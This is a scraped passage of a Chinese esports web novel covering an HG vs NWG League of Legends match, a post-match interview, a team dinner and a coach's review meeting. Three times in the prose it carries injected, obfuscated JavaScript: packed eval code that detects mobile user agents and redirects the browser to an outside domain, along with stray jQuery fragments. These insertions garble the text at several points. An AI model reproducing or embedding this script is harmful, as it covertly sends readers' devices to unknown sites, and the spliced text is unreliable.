小B:“确实没想到会掏出这个英雄,如果说双方下路五五开的话,中路单凭英雄来看就是三七开。” 不论其他人如何质疑,bp仍在继续。 NWG四五手ban掉了腕豪和剑魔,而HG则ban掉了奎桑提和纳尔。 双方前三手都ban掉了打野位,后两手又不约而同的制约起了上路。 红色方HG第四手选出电耗子凯南,NWG反手掏出了兰博和稻草人。 小A:“稻草人?原来这就是NWG本场的隐藏杀招吗?” 小B:“确实是个冷门英雄,冷门到和皎月不相上下,看来两支队伍今天都是抱着奇招致胜的想法啊。” 小A:“中单皎月还是太弱了点,但稻草人就不一样了,这个英雄玩好了真的很神出鬼没,应该很多人都被藏在草丛突然开着大跳出来的稻草人吓到哆嗦一下吧?” 小B:“太真实了,我是真被吓过。” 两位解说正在围绕稻草人做分析,台上的HG几人也因为这个英雄而沉下了心。 邵乖:“我靠,这英雄他们也练了啊?” 左星水:“不太妙,感觉这个稻草人要有奇效。” 吴醒:“这英雄有点恶心。” 廖望延:“嗯,有点难缠。” 四位队友正担忧的时候,于琰开口打散了这略显紧张的气氛:“怕什么?他们有杀招咱们就没有了?Nap,上!把我的英雄点出来给他们看看!” Nap对着屏幕翻了个白眼,随即鼠标轻移,在一个英雄上轻点了一下左键。 HG的最后counter位并没在最后一秒出现,但这个英雄图标的出现,直接引燃了整个场馆。 小A:“小B你掐我一下,我没看错吧……” 小B:“没看错……咱们都被HG骗了。” 直播平台的弹幕也炸开了锅。 【我靠???HG会玩啊!】 【都以为皎月是中单,谁能想到最后一手直接变阵了!】 【我要投HG能赢,就凭他们最后选的这个英雄,不投不是峡谷人!】 【冲啊!!!】 HG在万众瞩目之下选出最后一个英雄,而让所有观赛人震惊的正是这神来一笔—— 疾风剑豪-亚索 小A:“天啊,咱俩刚才还说了半天皎月打永恩完全没有还手之力,谁能想到皎月居然是打野啊!” 小B:“哥哥打弟弟!家暴了!!!” 小A:“相信所有观众也和我们两个一样震惊,HG这手皎月摇摆骗过了所有人,NWG应该也没想到HG居然会掏出亚索这个英雄吧。” 小B:“现在最难受的应该是NWG的ad寒冰,毕竟亚索的风墙如果放的及时,寒冰的大招根本没用,这可是寒冰唯一的强控技能。” NWG的队内语音此时也叽叽喳喳闹个不停。 FLY:“靠!怎么掏出来个托儿索啊?” Aser:“确实没想到。” 韩援adOMM:“窝的打招很泳衣被他挡,补薅庶出。” 在一片哗然中,NWG和HG的bp已经结束,比赛已然开始。 廖望延买了打野刀边操控英雄出门边说:“六级前我不好做事,你们都小心一点,三级以后我会看情况gank,你们注意自己的走位,尤其是下路,小心别被泰坦勾。” Nap:“放心吧延哥。” 廖望延:“于琰,你给我悠着点,别浪。” 于琰:“怎么跟世界第一亚索说话呢?” 廖望延:“啧,你就装吧你。” 邵乖:“我也想玩亚索。” 于琰:“想吃屎吗?” 几人插科打诨时,左星水点了下信号:“对面下路从三角草过来往下路河道草丛插眼了,看来稻草人是蓝开。” 廖望延:“邵乖去他们蓝buff插个眼。” 邵乖:“好嘞。” 两个战队开局相安无事,谁也没敢率先入侵对方野区,双方隔着草丛阴暗偷窥,野区刷新后各自散开。 不出左星水所料,NWG打野稻草人是蓝buff开野,邵乖的眼位捕捉到了他的行踪,廖望延也选择蓝开。 双方打野一个从上往下刷,一个从下往上刷,前几分钟都没碰上面,两位都谨慎的很。 廖望延收下上路河蟹,从中路夹角处给于琰点信号:“我来了。” 于琰:e on!” 廖望延的皎月自夹角而出,Q技能扔出一道弯月命中永恩,随即开着护盾E到了永恩脸上。 于琰也操控着亚索划到了永恩面前,正当二人准备将永恩包饺子时,下路河道里蹿出了一个稻草人。 中路形成2v2的局面。 于琰放出风墙,规避稻草人的Q和E,但廖望延和于琰此时伤害不够高,没能将FLY的永恩血线压至能击杀的程度。 廖望延:“算了,压他血量就行了,我走了,你安心补兵。” 于琰:“ok。” 另一边NWG的语音内,打野Aser也和FLY说:“他们杀不了你,但你血量不太健康了,保守一点吧。” FLY:“嗯,你走吧。” 这就是赛场和日常训练的区别,按照平时的情况,这种2v2的局面,不管谁死,起码也得留下一个尸体,但赛场局势由不得乱来,一血更是不能乱送,微小的差距就能被滚起雪球,大家都不敢冒这个险。 两支战队都很保守,六分钟内没爆发一个人头,直到于琰瞥了一眼自己的经验条。 于琰:“能来中吗?我6了。” 廖望延:“把兵清了,邵乖往河道靠,趁着稻草人还没六级,巢虫视情况打一波。” 邵乖:“马上马上!” 廖望延往蓝色方上野区插了两颗眼,又往巢虫坑内插了个真眼。他的行迹没有任何隐瞒,NWG的人也立刻往巢虫靠拢。 此时双方阵营都是上单和中单六级,打野五级,双方下路双人组也开始从自家野区绕行往上赶。 看着左星水和Nap马上到达战场,廖望延果断开口:“打,于琰攒风。” HG三人站在巢虫坑边开打,身边就是蠢蠢欲动的NWG三人。 NWG上单兰博先手放大,一段火路砸到HG三人身上,逼得他们往巢虫坑里退。 看HG三人居于狭小坑内,FLY的永恩拎着双剑逼近,身边的几个队友也跟在他身后。 邵乖丝毫不虚,用E技能高速位移出坑,直接开启大招万雷天牢引,蓝色大范围闪电圈瞬间框住NWG大部分人。 于琰一道龙卷风扔向被控住的NWG三人,狂风贴到他们的时候,于琰立刻按下大招。 皎月WQE紧随其后,边打人边惩戒下巢虫。 此时双方下路已经赶到,于琰眼疾手快放出风墙,挡住了泰坦的钩子,也挡住了寒冰的W。而Nap的芮尔则是闪Q控到了稻草人。 没六级的稻草人在一顿技能之下先行殒命,一血被于琰收入囊中。 此时邵乖的大招已然结束,FLY的永恩见势直接按下大招,将于琰邵乖廖望延拉在一起。 邵乖的凯南被斩落于永恩剑下,死前将永恩的血线拼到了只剩四分之一,左星水的卡莉斯塔一直在安全距离插矛,随后猛然一拔,将永恩人头收入囊中,兰博后撤逃跑。 廖望延:“寒冰能追。” Nap:“追追追!” 于琰:“人头人头!” 左星水借着笨拙的泰坦一直往前跳,不停地给泰坦插矛,眼见两个ad之间的距离越来越近,寒冰闪现往野区退,泰坦为了掩护寒冰,索性留在原地和左星水互A。 于琰:“水哥!!!” 在于琰的嘶吼中,左星水成功收下泰坦人头。 左星水轻巧一笑:“小琰,要懂得知足,有助攻还不够吗?” 于琰:“不够!!!我要头!!!” 廖望延:“要个锤子,赶紧回家补装备,往小龙走。” 巢虫团HG1换3,算是起了一波大节奏。 双方重整旗鼓,开始打起小龙的主意,两边的辅助都开始插眼排眼。 廖望延:“开小龙拉出来打,水哥注意位置,稻草人六级了。” 左星水:“好,我知道。” 一切都如廖望延所安排的进行,小龙打到一半的时候NWG仍旧在旁边虎视眈眈,却不见稻草人的身影。 小龙血量掉到五分之一的时候,突然从龙坑上方夹角跳出一个开大的稻草人,直接将除了左星水之外的四人全部框在其中。 于琰:“我靠!” 廖望延:“快退!” HG几人想逃,但稻草人的恐惧和吸血又让他们顿住了一瞬,FLY的永恩开E位移,拎着剑狂抡。 混乱局势下,廖望延反手E过去大招拉到三人,奈何亚索的大在巢虫团已经用了,现在cd还没转好。 出肉的打野皎月伤害确实不够看,只努力拖延了有限的一秒,便被集火。 廖望延首先阵亡,接着就是于琰, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15053405|154007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两人的人头分别被NWG的打野和AD拿下,Nap的芮尔马上也要被杀,但性命攸关之际,左星水开出大招将Nap拉了回来。 HG剩余活着的三人后退逃命。 小龙被Aser抢到,NWG0换2,将刚刚巢虫团落后的经济直接追平。 于琰:“这稻草人刚才吓我一跳。” 邵乖:“谁不是呢。” Nap:“这稻草人必须要针对,不然后面要成大麻烦。” 左星水:“我发育好,这把守着我打。” 廖望延:“于琰中路自己看着办,邵乖也是,我这把主抓下。” 场内局势焦灼,场外弹幕也跟着心跳如鼓。 【妈的看得我汗都要流下来了,这两拨团也太刺激了。】 【NWG靠永恩稻草人配合开团,要么就得寒冰大招抽奖。HG靠皎月先手拉人亚索接大招,要么就邵乖肉身开团,全都是需要高配合的操作。】 【说实话,刚才那波团要是于琰有大,NWG还真有点危险。】 【Aser这稻草人玩的好啊,真的很阴。】 【邵乖得赶快做金身了,HG这边开团点很多。】 【刚才那波小龙团,寒冰的大还真被于琰风墙挡了,手速够快啊。】 巢虫团和小龙团打完,赛场里的两支队伍又进行了几次小规模团战,双方打的有来有回,谁也没真的占到大便宜,经济始终拉的很紧。 时间很快来到32分钟,此时红蓝双方的六个外塔均被对方拆掉,双方各拿到两条小龙,HG只高NWG接近1k的经济,基本可以忽略不计。 NWG肥的是稻草人和永恩,HG肥的是卡莉斯塔和亚索。 稻草人出的是纯ap输出装备,还做出了金身,左星水的卡莉斯塔也做出了水银和魔抗鞋,本想在第一场比赛中大放光彩的于琰因战况所致,只能心不甘情不愿的出了半肉半输出的装备。 于琰:“想我世界第一亚索,LPL第一中单,居然要出半肉亚索,太丢脸了,想死。” 廖望延:“想死还不简单,你现在立刻往NWG中路高地一站,半分钟之内必死。” 于琰:“你说的也是人话?” 邵乖:“知足吧,起码你真能在赛场玩上亚索,怎么还不懂得知足呢。” Nap:“赞同,附议。” 于琰:“老子一会打团一定要大到五个人,为自己正名,都把你们的狗眼给老子瞪大了!” 廖望延:“别废话,下路兵清完赶紧往大龙靠,最后一波了,要是输了你还正个狗屁名,连过年假期都没了。” 左星水:“四天假期哦~” 于琰:“你爹来也!” 游戏进行到35分钟,除了双方辅助之外的八个人都已六神装,最肥的左星水甚至早在30分钟的时候就磕起了药剂。 双方十人汇聚上河道大龙坑前。 廖望延:“邵乖随时开。” 邵乖:“金身还有10秒,马上。” 于琰:“阿延和Nap一定要开个好大让我接。” 大龙早就伫立在地图上,但没人敢先摸它一下,现在这种赛况,谁都想稳妥。 廖望延:“开,注意位置,逼稻草人出来。” 一声令下,HG率先发难。 肉装皎月顶在最前,半肉亚索在其身边,邵乖的凯南摸两下大龙就往外走两步,生怕一瞬间的不查被敌方钻了空子,左星水的卡莉斯塔一直在离NWG五人最远的地方摸大龙。 此时的位置是,NWG五人站在上河道偏上方,几乎都卡在蓝buff的凹字形隘口,而HG站位偏下,靠近中路草丛。 大龙半血时,稻草人率先发难,从蓝buff墙内跳大而出,位置直逼左星水身边。 而与此同时,廖望延停下打大龙的手,W闪QER冲向NWG人群,一个大招抬起四人,于琰立刻跟大。 团战即刻打响。 邵乖:“上上上,我大招控了好几个!” 廖望延:“先杀永恩。” Nap:“别急别急!” 由于双方同时开团问题,战场被分割成了两块,一块是稻草人和卡莉斯塔,另一块是剩余八人。 兰博直接从凯南的大招范围内砸下大招,永恩开大拉住除Nap之外的三人,Nap的芮尔开大又控住三人。 混战的八人技能全是范围控制,大小技能层出不穷,看得人眼花缭乱。 半肉的亚索现在凸显出了优势,又能扛伤害又能吸血,前面还有个纯肉的皎月在替他分担伤害。 当Nap和邵乖率先身亡,只见一片刀光剑影中,一道浪客身形如水里游龙般提剑挥砍—— HG.Shark(疾风剑豪)击杀了NWG.OMM(寒冰射手) HG.Shark(疾风剑豪)双杀 HG.Shark(疾风剑豪)三杀 HG.Shark(疾风剑豪)四杀 于琰杀红了眼,拿下四杀后即刻转身赶去左星水那边。 于琰:“水哥!!!五杀!!!” 剑尖即将触碰到稻草人的一刹那,干枯的稻草人轰然倒地,于琰悲泣地鸣叫:“爹!!!!!” 真不怪左星水,于琰喊他的一刹那他是想收手的,但当时拔矛的E已经按下去了,他收不回来了。 这声凄厉的爹回荡在场馆内,台下的观众听得分外清晰,观众席内顿时高声狂笑。 小A:“好想答应一声。” 小B:“我也是。” 直播平台内也全是于琰的便宜爹。 【欸!我的好儿子!】 【闻者伤心听者流泪,这声爹可以入围电影节最佳催泪剧情。】 【人这一辈子能有几个五杀,左星水你没有心。】 HG2换5,将大龙稳稳拿下,带着小兵一路推进直捣黄龙。当两颗门牙塔被拆掉时,NWG的几人才陆续复活,但此时有大龙buff加成的三路小兵让他们根本无法快速清完,只能眼睁睁看着自家基地被推。 小A:“让我们恭喜HG,拿下2029春季赛首场胜利。” 小B:“这个世界的悲欢各不相同,有些人赢了,却好像没赢,你说对吗,Shark。” 小A:“你也没放过他。” 小B:“没办法,太戏剧化了,从变阵开始,到被抢五杀结束,于琰的亚索经历了太多。” 62.Chapter 62 小B说的话完全映照在了于琰身上:赢了,却好像输了。 推掉NWG基地以后,HG五人起身去和右侧的NWG队员们握手,于琰根本看不出一丁点的欣喜,俊脸中透露着丝丝死气。 FLY和于琰握手的时候还在偷笑:“嘿嘿嘿,虽然我们输了,但你没拿到五杀让我跟赢了一样开心。” 于琰嘴角抽了抽,握着FLY的手死命地用力,捏得FLY嗷嗷直叫。 “疼疼疼!给老子松手!” “让你嘴贱,再多嘴就把你手捏断。” “于琰你大爷的!” “还骂?” 本身握手只是个过场,生生让两队中单的活宝拖住了脚步,十来秒能走完的流程硬是尬在原地半分钟。 廖望延在于琰的下一位,探头看了看僵持的现状,轻轻叹了口气,捏着于琰的腕骨。 “那么多观众呢,有什么事去后台说,一会给你俩搭个八角笼,只能有一个人活着出来,这样满意了吗?” 于琰冷哼一声,总算是撒了手。 FLY嘶了两声,甩了甩右手,又对着廖望延犯贱:“刚才被我单杀了哦~” 廖望延挑起眉:“胆大了?敢在我面前左右横跳了?” FLY仍旧笑嘻嘻:“一会去后台找你聊天。” 握手流程有惊无险的走完,HG立于比赛台正中间向观众席鞠躬,随即返身回去收拾自己的外设。 五人回到后台休息间,刚推开门,刘国柱就对他们摇了摇手机:“说到做到,晚上带你们吃好的。” 于琰一副死人脸:“不吃。” 刘国柱:“为啥?平时聚餐就数你和邵乖最积极,今天吃错药了?” 于琰瘫在椅子上,双眼无神看天,颓丧地说:“我要用三天绝食来祭奠我失去的五杀。” “三天绝食?等我把录音打开,你再说一遍,我留个证据,免得你反悔。” 廖望延边说边掏手机,手指头还没从裤兜里拿出来,膝盖就被于琰狠踹了一脚。 “嘶!”廖望延揉了揉膝盖,一记眼刀甩在于琰身上,“狗腿不想要了?” 罪魁祸首左星水横插进马上就要打起来的二人中间当和事佬:“好了好了,赢了开门红怎么还一肚子怨气呢。” 于琰扭头看左星水,眼中满含幽怨:“水哥,我的怨气源头就是你。” 左星水戳了戳于琰的腮帮子:“怎么还叫我水哥?该改称呼了。” “改称呼?” 左星水笑眯眯:“我终于感受到Mesh的快乐了,以后就喊水爹吧,毕竟观众席几千上万人都听见了。” “……”于琰萎了,“左星水,你变了。” 廖望延倒是不满起来了:“不行,于琰只能有两个爹,一个是他亲爹一个就是我,再多就不礼貌了。” 于琰:“现在你也很不礼貌,给老子滚蛋。” 几人正呛声时,休息室的门被工作人员推开:“Mercury,辛苦去做一下赛后采访。” 左星水点点头,又狠揉了两下于琰的头发,才随着工作人员出了门。 于琰的四杀固然亮眼,但刚才那场比赛的MVP仍旧给到了左星水,毕竟他的卡莉斯塔在刚刚40分钟的缠斗中拿下了7-0-5的好数据,且他的输出全场最高。 做赛后采访的不再是开场主持小泉,而是另一位业内公认的美女主持翘翘,左星水看见她的一瞬间,步伐猛地停顿了一下,却很快恢复如常。 翘翘让出了画面正中间,递给左星水一支麦克风,面对摄像机甜笑着说:“我们邀请到了刚刚比赛的MVP选手Mercury做赛后采访,现在先请他跟大家打个招呼吧。” 左星水对着摄像机打了个招呼:“大家好,我是HG的Mercury,很荣幸能接受这次采访。” 翘翘:“观众们有不少问题想让Mercury来回答,我们从官方弹幕中抽取了几条,还希望Mercury能简单和我们聊一下。” 左星水:“好,没问题。” 翘翘:“请问开局bp时的皎月亚索体系是怎么考虑的呢?” 左星水:“其实这是我们教练琢磨的。之前有很长一段时间,他都逼着我们用冷门英雄去上分,正好发现皎月这个英雄虽然在中单不强,但是打野却不弱,又因为我们的中单选手Shark总是自诩世界第一亚索,教练就觉得可以围绕这两个英雄搭配去做文章。” 翘翘:“从刚才的比赛看来你们确实做了很久的准备,那对于刚刚你说到的Shark选手,我想八卦一下,没拿到五杀之后他的现状如何?” 左星水:“像是被抽走了灵魂。” 翘翘:“那你作为抢了他五杀的人,他对你说了什么呢?” 左星水:“他倒没说什么,就是用一种负心汉的眼光在看我,让我的愧疚buff拉满了。” 翘翘:“啊~负心汉啊~” 后台休息室的几人早已八卦了起来。 邵乖:“嘿嘿,居然是翘翘做采访。” Nap:“水哥现在心情应该不太平静。” 于琰:“活该!左星水你也有今天!” 廖望延:“总感觉有什么我不知道的东西,谁来给我答疑解惑一下?” 于琰凑到廖望延耳边,用手拢着嘴悄声逼逼:“翘翘是水哥前女友。” 廖望延惊讶地挑起眉,扭头看着一脸幸灾乐祸的于琰:“前女友?没听说过他俩的事啊,瞒得这么深?” 邵乖眼神还盯在屏幕上,回道:“他俩地下恋情两年还是三年,后来莫名其妙分手了,我们问他原因他也不说,然后就成了一桩悬案。” 几人正八卦着,就听见了屏幕里翘翘意味深长地重复左星水口中的负心汉三个字。 邵乖:“???” Nap:“不对劲。” 于琰:“我闻到了八卦的味道。” 廖望延:“不简单。” 和他们有年龄代沟的老姚和刘国柱不好光明正大的八卦,两个人缩在休息室最角落哔哔赖赖。 刘国柱:“没听说翘翘今天要来主持啊,这么突然?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15058572|154007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >老姚:“小泉好像身体不舒服,翘翘来救场的。” 刘国柱:“哇哦,老情人见面,分外尴尬。” 老姚:“你注意一下自己的表情,他们四个八卦就算了,你一会别跟着凑热闹,你又不是不知道他俩的内情。” 刘国柱:“放心吧,一会等星水回来我就扭转话题,这都晚上七点了,得赶紧定吃饭的事了。” 采访并不长,翘翘适当性问了六七个问题,就开始说结束语了。 左星水在她身旁安静站着,看摄像师比了个ok的手势放下摄像机,才将麦克风递给翘翘,说:“那我就先走了,辛苦。” 翘翘垂眼看着面前的麦克风,没接,复又抬头直视面前身穿队服的男生。 左星水顿感自己伸出麦克风的右手有点尴尬,僵硬地勾起嘴角笑了下:“好久不见。” 翘翘白了他一眼,扭头走人。 左星水也没追,看着翘翘的身影消失在自己眼前,转身将麦克风递给了工作人员。 推开休息室的门前,左星水已经做好被八卦的准备了,却没想到他们什么也没提,反倒是将收拾好的背包递给了自己,东一嘴西一嘴地讨论着要去哪吃饭。 左星水的心情瞬间平静下来,将背包挂在自己右边肩膀,包袋上的挂饰随着他的动作飘飘荡荡,挂饰背面有一瞬扭到正面,上面有个黑色碳素笔画出的颜文字:OvO。 关于吃什么,HG七个人的意见并不统一,谁也没说服谁,到最后还是廖望延给老梁打电话求推荐。 结果就是,NWG和HG两个队伍凑到一块,找了个距离电竞馆30公里外的……炸串苍蝇馆。 到饭馆的时候已经将近八点了,店里没什么客人,十个大小伙子外加两个经理两个教练往屋里一站,顿时显得满满当当。 “FLY帮我拿俩土豆片。” “廖望延,甜鸡皮吃不吃?” “介锅死神魔?窝香尝尝。” “还挺会挑,这鸡排刚炸出来的喷香!吃一口让你忘了韩国怎么回。” “姚尧乐!你他妈给我留个蟹棒!” 十四个人围在炸串冰柜前,早就忘了两小时前在峡谷内的厮杀,满脑子全是吃。 这个是什么?这个好吃吗?这个和这个有什么区别? 这个加孜然。这个加辣椒。这个加多多的番茄酱。 苍蝇馆的桌子被他们拼到了一起,于琰一巴掌扫掉了所有想伸手拿串的人,举起手机站在桌子最前面:“来来来拍个照,一会我发微博,你们记得转评赞啊!” “三二一,茄子。” “为甚摸硕茄子?者里有炸茄子?” “吃你的串吧韩国佬,古老的中国文化你不懂。” “窝能懂!腻给窝解释!” “……” 晚上十一点,名字为HG.Shark的微博账号发出一张合照,照片里的人要么举着炸串要么伸着大拇指,每个人都故作丑态地做着鬼脸,快乐得要命。 图片配文:失去的五杀用炸串补回来,今天全场由左公子买单~ 63.Chapter 63 本以为拿了开门红能轻松一些,没想到老姚转天就把所有人都叫去了会议室。 五个男生坐一排,看着面前的老姚用本子在会议室的大屏幕上来回拍,嘴里还不停地批评着。 “九分二十秒,于琰你眼瞎了?看不见草丛眼没了?还敢往草丛那边贴?稻草人离你就二寸知道吗?他要是蹦出来和永恩配合好,给你脑门一拳你屏幕就灰了。” “邵乖你笑什么笑?我说他没说你?你上路三分半的时候漏了个炮车的事我还没和你深究呢,14分33秒的时候为什么顶塔打兰博?你以为你是谁?天王老子还是耶稣我主啊?塔打你身上不疼是吧?不怕gank是吧?” “还有你吴醒,别以为我一直没点你的名就证明你没问题,第三条小龙你芮尔这个大是人能放出来的吗?你着什么急?赶着投胎?大招cd转好了不放就难受?你强迫症?” “星水……算了你确实没什么好说的,继续努力吧,昨天表现确实不错,但是你也别骄傲!再让我逮到你在吴醒不在的时候1打2你看我骂不骂你。” “Mesh,你昨天有两拨也冲动了,你看26分48秒这里,人家稻草人就是看了你一眼,而且还是因为你在反人家的野,你可倒好,E过去就是一个R,你一个肉皎月还有单杀的梦想呢?你这一身防装到底在装什么啊!” “看看你们这一脸满足的样子,不知道的还以为皇帝登基万事无忧了,这才打了一场知道吗?后面那么多场等着你们,现在尾巴翘上天没准下一场就翻车了,都给我警惕一点。” 几个人被说得狗血淋头,于琰低着头抠手,嘴里嘟嘟囔囔:“更年期提前了吧,哪来的这么大火气。” 邵乖也低着头,听后用蚊子一样的声音回:“昨儿那顿炸串把他吃窜了,这一上午跑了五六次厕所了。” “那跟咱们有什么关系?他去找NWG经理啊,又不是咱们找的地方,和咱们撒什么火。” “老倒霉蛋了,你还没习惯?” “……习惯了,但是不抱怨两句更难受。” 廖望延像尊佛一样稳坐,一只耳朵聆听老姚分析昨天赛场上的问题,另一只耳朵聆听身边两只小蚊子的嗡嗡声,搞得他快分裂了。 从大屏幕旁边唾沫横飞的老姚没过多久就发现了两个开小差的人,笔记本从他手里横飞到于琰脑袋上,后者不仅脑门受创,心灵也紧跟着遭受新一轮伤害。 老姚:“聊聊聊,就知道聊,你们俩聊什么呢?大声点让我也听听,我看看什么话题这么有意思。” 于琰:“……” 邵乖:“……” 老姚:“我刚才说的是你们哪打的有问题?于琰,回答!” 于琰:“……emmmm,小龙团?” 老姚:“小你二大爷!老子刚才说的是下路3包2的事!邵乖,三分钟之前我说的是什么?” 邵乖:“……emmmm,巢虫团?” 老姚:“虫你二舅妈!老子五分钟前说的是中路推二塔那波!” 廖望延扑哧一声乐了出来,Nap和左星水也在旁边吭哧吭哧闷笑,老姚看于琰和邵乖一脸丧眉搭眼认打认骂就是不想长记性的样子,直接火顶到了脑门。 本来拉肚子就心烦,顶着肚子的疼痛给队员开会,他们还不好好听,老姚越想越气,直接弯腰捞起自己脚上的43码黑色拖鞋,举了个标枪投掷的动作。 下一秒,拖鞋正中邵乖面门。 会议中间很愉快,除了一个手拿笔记本的于琰,和一个怀拥黑拖鞋的邵乖。 至于为什么没有会议后半程,是因为老姚觉得屁股的深处又有点发紧,肚子又开始强烈阵痛,只好扔下一句“好好反思,等我回来”就狂奔出了会议室。 他临走前还不忘了把邵乖怀里的拖鞋拿走。 “你别说,老姚这拖鞋打人一点都不疼嘿!”邵乖盘起腿幸灾乐祸,“于琰你疼吗?” “疼你二姨姥!”于琰翻了个白眼,没好气地把笔记本扔上桌子。 没了老姚,大家的神经肉眼可见放松下来,除了一个从一开始就没紧张过的人。 看旁边用口哨吹歌,一脸荡漾的人,于琰莫名其妙地问:“吃耗子药了这么开心?” 廖望延笑眯眯地回应:“咱妈给我买了个按摩椅,估计一会就到了。” 于琰又问:“咱妈?谁妈?你妈?我妈?” “当然是姜妈妈了~” 于琰他亲妈,大名姜圆月。 “……”于琰刚缓和的脸色又肉眼可见沉下来,“为什么给你买?” “也没什么,阿姨前两天给我打视频问我训练累不累,我说还好,她可能看我一直揉脖子以为我训练太久身体不舒服吧,挂了视频就把按摩椅下单了,真是让她破费了~” “……你他妈说的不会是四天前你落枕那次吧?” “是啊~” “她半个月没给我打视频了……” “呀?真的呀?那你可千万别多想,手心手背都是肉,咱妈一定还是爱你的。” “是,你是富家小姐的手心,我是搬砖工人的手背。没事,没事的,真的没事的。” 于琰咬牙切齿,还硬要装作没关系的样子,实际没过三分钟就开始微信轰炸自己亲妈。 【伤心太平洋:我脖子疼。】 【千金大小姐:?】 【伤心太平洋:我说我脖子疼!】 【千金大小姐:疼就揉揉啊,跟我说干什么?我能隔着手机替你揉?】 【伤心太平洋:就这样?没了?】 【千金大小姐:有话快说有屁快放,我还要看电视剧呢。】 【伤心太平洋:我真是你亲儿子?你怎么不说给我买个按摩椅?】 【千金大小姐:哦,原来是这个事啊。你老跟人家小延比什么?大不了那个按摩椅你们两个人一起用呗。】 【伤心太平洋:那能一样吗!姜圆月!你欺人太甚!】 【千金大小姐:有本事你找别人当妈。回你的消息真是浪费我的时间,以后少用这种事来烦我。】 【伤心太平洋:?】 【伤心太平洋:???】 【伤心太平洋:??????】 于琰奈何不了自己亲妈,只能将手机塞回衣兜,恶狠狠地看廖望延:“按摩椅让我先用。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15080023|154007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>廖望延从旁偷窥好久,将刚才的聊天内容尽收眼底,闻言腼腆一笑:“不行,这是咱妈给我买的。” 于琰刚想用强势手段逼迫廖望延就范,上厕所的老姚就一瘸一拐地走进来。 邵乖:“欸哟喂我的姚教练,您这是怎么了?” 老姚:“……腿蹲麻了。” 邵乖:“嗬!就让小邵子掺着您过去吧,您可千万慢点,别再把腰闪了。” 老姚:“滚蛋。” 于琰:“你别说,邵乖这嗓子一掐,还真有点太监那味儿了。” 邵乖:“滚蛋!” 廖望延:“你也掐一下?没准比邵乖像。” 于琰:“滚蛋!!” 总结会又开了半个点,老姚总算大发慈悲的放了人。廖望延刚一出会议室的门就接到了快递电话,忙不迭地跑过去打开基地大门,让快递员把按摩椅送进屋。 正当廖望延和于琰争夺按摩椅的首次使用权时,左星水抬眼和老姚说:“姚哥,和你请半天假,下午有点事。” 左星水算得上是基地里的劳模了,见天儿的不出门,日常就是训练室-卧室两点一线 ,邵乖曾笑称他为电竞圈首席男和尚,六根清净不惹凡尘。 队里所有人都或多或少请过假,只有左星水从未有过,这还是第一次,老姚从他嘴里听到请假二字。 “难得啊,你也有出门的时候,去吧,假不够及时和我说。”老姚点头道。 “半天就够了,谢谢姚哥。” 于琰手搂电竞椅脚踹廖望延,忙得飞起还不忘了八卦:“水哥干嘛去啊?” 左星水沉默了几秒,正当于琰以为他不会回答的时候,他开了口:“约了翘翘。” Nap放下了手机,邵乖扔下了瓜子,于琰解开了搂着按摩椅背的双手,廖望延松开了箍在于琰腰上的胳膊,所有人都瞪着眼看他。 见没人说话,左星水忙解释:“就是聊一聊吃顿饭,没别的,姚哥你别多想,我不会耽误训练的,晚上回来我就加训,把下午少的训练一秒不差都加回来。” 左星水很少一次性说这么长的话,以往就算开玩笑也只是一句就停。 老姚震惊了两秒才回:“没事,你自己看着办就行。” 左星水又看了一圈另外几个没说话的人,露出个苦笑:“你们别这么盯着我,怪瘆人的。” 五人默契非常地共同摇了摇头。 邵乖:“旧人会面。” Nap:“再续前缘。” 廖望延:“干柴烈火。” 于琰:“都四个字?那……送入洞房???” 左星水又笑了,只不过这次是被气笑的:“不是你们想的那样,只是单纯聊一聊。” 邵乖、Nap、廖望延、于琰:“你最好是。” 老姚用笔记本一个个拍过去:“八卦!再八卦!让你们八卦!都没事干是吧?滚回训练室去训练。” 几人被打的抱头鼠窜。 直至客厅里只剩老姚和左星水二人,老姚才悠悠开口:“那个……星水啊,他们都走了,要不你悄悄和我透个底,真不是破镜重圆?我嘴很严的,我保证不和别人说!” 64.Chapter 64 左星水还是那套说辞敷衍走了老姚,扭头回了卧室。 唰的一声打开衣柜,指尖划过衣物布料,左星水挑挑选选了半天,最终拿出了挂在衣柜最左侧的那件黑色套头卫衣。 不知缘由的轻叹在房间内环绕,紧接着便是长久的沉寂。 一楼训练室。 “欸,你们说水哥和翘翘今天能有什么进展?” 邵乖真不愧是HG第一八卦王,游戏读条界面还不忘了八卦两句。 于琰啃着手里的大鸭梨,含糊不清地回:“不好说,不过我确实觉得水哥对她旧情难忘,毕竟这两年他身边别说女生,连个母猫母狗母耗子都没出现过。” 